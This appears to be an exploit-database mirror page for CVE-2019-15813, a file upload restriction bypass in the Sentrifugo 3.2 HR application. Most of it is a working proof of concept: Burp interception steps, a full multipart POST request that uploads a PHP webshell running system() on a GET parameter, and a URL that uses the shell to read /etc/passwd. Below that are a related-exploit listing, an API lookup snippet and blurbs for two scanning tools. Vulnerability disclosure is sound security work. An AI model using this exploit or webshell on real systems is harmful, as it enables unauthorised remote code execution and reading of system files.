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"Sentrifugo 3.2 - File Upload Restriction Bypass"

Author

creosote

Platform

php

Release date

2019-08-30

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# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass 
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15813

Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.

File upload bypass locations:

/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)


# POC

1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)
2. Turn Burp Intercept On
3. Select webshell with valid extension - ex: shell.php.doc
4. Alter request in the upload...
   Update 'filename' to desired extension. ex: shell.php
   Change content type to 'application/x-httpd-php'

Example exploitation request:

====================================================================================================

POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1
Host: 10.42.1.42
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents
X-Requested-With: XMLHttpRequest
Content-Length: 494
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5
Connection: close

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name="myfile"; filename="shell.php"
Content-Type: application/x-httpd-php

<?php $cmd=$_GET['cmd']; system($cmd);?>

-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507
Content-Disposition: form-data; name=""

undefined
-----------------------------205946976257369239535727507--

====================================================================================================

5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.
6. Append above saved parameter and visit your new webshell
   Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd
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Release Date Title Type Platform Author
2019-08-30 "Sentrifugo 3.2 - Persistent Cross-Site Scripting" webapps php creosote
2019-08-30 "Sentrifugo 3.2 - File Upload Restriction Bypass" webapps php creosote
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47323/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47323/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47323/41687/sentrifugo-32-file-upload-restriction-bypass/download/", "exploit_id": "47323", "exploit_description": "\"Sentrifugo 3.2 - File Upload Restriction Bypass\"", "exploit_date": "2019-08-30", "exploit_author": "creosote", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

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